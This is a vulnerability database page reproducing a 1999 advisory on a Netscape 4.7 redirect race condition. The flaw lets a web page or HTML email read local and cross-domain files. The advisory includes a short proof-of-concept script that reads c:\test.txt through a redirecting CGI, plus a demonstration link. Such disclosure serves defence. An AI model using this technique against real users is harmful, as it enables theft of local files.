Lucene search
K

netscape.msredir.txt

🗓️ 06 Dec 1999 00:00:00Reported by Georgi GuninskiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Netscape allows unauthorized file access via a bug; window spoofing and email exploitation possible.

Code
`The first version of this document was created by Georgi Guninski, i  
would like to report that this bug also works on netscape (Tested 4.7).  
I added the document with needed changes for netscape.  
  
Disclaimer:  
The opinions expressed in this advisory and program are my own and not  
of any company.  
The usual standard disclaimer applies, especially the fact that Georgi  
Guninski is not liable for any damages caused by direct or indirect use  
  
of the information or functionality provided by this program. Georgi  
Guninski, bears NO responsibility for content or misuse of this program  
or any derivatives thereof.  
  
Description:  
  
Netscape under Windows 95 and NT 4.0 (suppose Win98 is  
vulnerable) allows reading local text and HTML files and files from any  
domain (probably reading files of other types of files is possible).  
Window spoofing is possible.  
It is also possible in some cases to read files behind fiewall.  
This vulnerability may be exploited using HTML email message or a  
newsgroup posting.  
  
Details:  
  
The problem is something like a race condition immediately after  
window.open("HTTP-redirecting-URL").  
If you do:  
a=window.open("HTTP-redirecting-url");  
b=a.document;  
then you have access to the redirected URL's document using "b".  
  
The code is:  
----------------------------------------------------------------------------------------  
  
<SCRIPT>  
alert("Create short text file c:\\test.txt and it will be read and shown  
  
in a message box");  
a=window.open("http://www.nat.bg/~joro/reject.cgi?test.txt");  
b=a.document;  
setTimeout("alert(b.body.innerText);",4000);  
</SCRIPT>  
// "http://www.nat.bg/~joro/reject.cgi?test.txt" just does a HTTP  
redirect to: "file://c:/test.txt"  
----------------------------------------------------------------------------------------  
  
Workaround:  
Disable Active Scripting  
  
Demonstration is available at http://www.nat.bg/~joro/msredir1.html  
  
Credit:  
All credit is given to Georgi Guninski, i only tested it on netscape and  
made sure it works there too  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Dec 1999 00:00Current
7.4High risk
Vulners AI Score7.4
22